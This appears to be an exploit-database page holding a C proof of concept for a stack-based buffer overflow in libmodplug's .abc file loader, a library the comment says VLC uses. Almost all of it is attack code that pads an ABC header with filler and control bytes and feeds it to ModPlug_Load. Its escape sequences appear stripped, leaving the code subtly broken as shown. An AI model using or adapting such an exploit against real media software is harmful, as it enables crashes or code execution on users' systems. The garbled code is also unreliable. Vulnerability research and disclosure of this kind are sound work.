[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : libmodplug <= 0.8.8.2 .abc Stack-Based Buffer Overflow PoC
# Published : 2011-04-28
# Author :
# Previous Title : Citrix XenApp / XenDesktop Stack-Based Buffer Overflow
# Next Title : CiscoKits 1.0 TFTP Server DoS (write command)


#include <libmodplug/modplug.h>
#include <stdio.h>
#include <string.h>

/*
libmodplug <= 0.8.8.2 .abc stack-based buffer overflow poc

http://modplug-xmms.sourceforge.net/

by: epiphant

this exploits one of many overflows in load_abc.cpp lol

vlc media player uses libmodplug

greets: defrost, babi, ming_wisher, emel1a, a.v., krs

date: 28 april 2011

tested on: centos 5.6
*/

int main(void)
{
  char test[512] = "X: 1nU: ";
  unsigned int i;

  i = strlen(test);
  while (i < 278)
    test[i++] = 'Q';
  test[i++] = '1' + 32;
  test[i++] = '3';
  test[i++] = '3';
  test[i++] = '4';
  while (i < 286)
    test[i++] = 'A';
  test[i++] = 'n';
  test[i] = '';

  strcat(test, "T: Here Without You (Transcribed by: Bungee)n");
  strcat(test, "Z: 3 Doors Downn");
  strcat(test, "L: 1/4n");
  strcat(test, "Q: 108n");
  strcat(test, "K: Cnn");
  strcat(test, "[A,3A3/4] [E9/8z3/8] A3/8 [c9/8z3/8] [A9/8z3/8] [E3/4z3/8]n");

  i = strlen(test);
  ModPlug_Load(test, i);

  return 0;
}